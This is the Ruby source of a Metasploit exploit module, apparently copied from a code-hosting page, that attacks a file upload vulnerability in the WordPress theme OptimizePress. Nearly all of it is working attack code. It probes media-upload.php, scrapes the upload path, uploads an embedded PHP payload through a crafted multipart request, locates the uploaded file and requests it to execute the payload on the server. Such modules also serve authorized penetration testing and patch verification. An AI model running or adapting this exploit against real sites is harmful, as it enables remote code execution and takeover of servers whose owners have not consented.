144 lines
4.1 KiB
Ruby
144 lines
4.1 KiB
Ruby
|
require 'msf/core'
|
||
|
require 'nokogiri'
|
||
|
|
||
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
||
|
include Msf::HTTP::Wordpress
|
||
|
include Msf::Exploit::Remote::HttpClient
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'WordPress OptimizePress Themes File Upload Vulnerability',
|
||
|
'Description' => %q{
|
||
|
This module exploits a PHP file upload vulnerability against the Wordpress theme
|
||
|
OptimizePress.
|
||
|
},
|
||
|
'Author' =>
|
||
|
[
|
||
|
'United of Muslim Cyber Army', # Vulnerability discovery
|
||
|
'Mekanismen', # Metasploit module
|
||
|
],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'References' =>
|
||
|
[
|
||
|
],
|
||
|
'Privileged' => false,
|
||
|
'Platform' => ['php'],
|
||
|
'Arch' => ARCH_PHP,
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'DisableNops' => true,
|
||
|
},
|
||
|
'Targets' => [ ['OptimizePress', {}] ],
|
||
|
'DefaultTarget' => 0,
|
||
|
'DisclosureDate' => 'Nov 29 2013'
|
||
|
))
|
||
|
end
|
||
|
|
||
|
def check
|
||
|
uri = target_uri.path
|
||
|
res = send_request_cgi({
|
||
|
'method' => 'GET',
|
||
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
|
||
|
})
|
||
|
|
||
|
if res and res.code == 200
|
||
|
return Exploit::CheckCode::Vulnerable
|
||
|
else
|
||
|
return Exploit::CheckCode::Safe
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
uri = normalize_uri(target_uri.path)
|
||
|
peer = "#{rhost}:#{rport}"
|
||
|
|
||
|
#get upload filepath
|
||
|
res = send_request_cgi({
|
||
|
'method' => 'GET',
|
||
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
|
||
|
})
|
||
|
|
||
|
if not res or res.code != 200
|
||
|
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||
|
end
|
||
|
|
||
|
html = Nokogiri::HTML(res.body)
|
||
|
filepath = html.xpath("//*[@id='imgpath']").attr("value")
|
||
|
|
||
|
if filepath == "" or filepath == nil
|
||
|
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
|
||
|
end
|
||
|
|
||
|
#set cookie
|
||
|
cookie = res.headers['Set-Cookie']
|
||
|
|
||
|
filename = rand_text_alphanumeric(8) + ".php"
|
||
|
|
||
|
#upload payload
|
||
|
post_data = Rex::MIME::Message.new
|
||
|
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
|
||
|
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
|
||
|
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
|
||
|
post_data.add_part("#{filepath}", nil, nil, "form-data; name=\"imgpath\"")
|
||
|
|
||
|
print_status("#{peer} - Sending PHP payload")
|
||
|
|
||
|
n_data = post_data.to_s
|
||
|
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||
|
|
||
|
res = send_request_cgi({
|
||
|
'method' => 'POST',
|
||
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php'),
|
||
|
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
|
||
|
'data' => n_data,
|
||
|
'headers' => {
|
||
|
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
|
||
|
},
|
||
|
'cookie' => cookie
|
||
|
})
|
||
|
|
||
|
if not res or res.code != 200
|
||
|
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
|
||
|
else
|
||
|
print_good("#{peer} - Payload uploaded successfully")
|
||
|
end
|
||
|
|
||
|
#get path to payload
|
||
|
res = send_request_cgi({
|
||
|
'method' => 'GET',
|
||
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
|
||
|
})
|
||
|
|
||
|
if not res or res.code != 200
|
||
|
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
||
|
end
|
||
|
|
||
|
payload_url = ""
|
||
|
|
||
|
html = Nokogiri::HTML(res.body)
|
||
|
elems = html.xpath("//*[@name='cs_img']")
|
||
|
for elem in elems
|
||
|
if elem.attr("value") =~ /#{filename}/
|
||
|
payload_url = elem.attr("value")
|
||
|
end
|
||
|
end
|
||
|
|
||
|
if payload_url == ""
|
||
|
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
|
||
|
end
|
||
|
|
||
|
print_good("#{peer} - Our payload is at: #{payload_url}! Executing payload...")
|
||
|
res = send_request_cgi({
|
||
|
'method' => 'GET',
|
||
|
'uri' => payload_url
|
||
|
})
|
||
|
|
||
|
if res and res.code != 200
|
||
|
print_error("#{peer} - Server returned #{res.code.to_s}")
|
||
|
else
|
||
|
print_good("#{peer} - Payload executed successfully")
|
||
|
end
|
||
|
end
|
||
|
end
|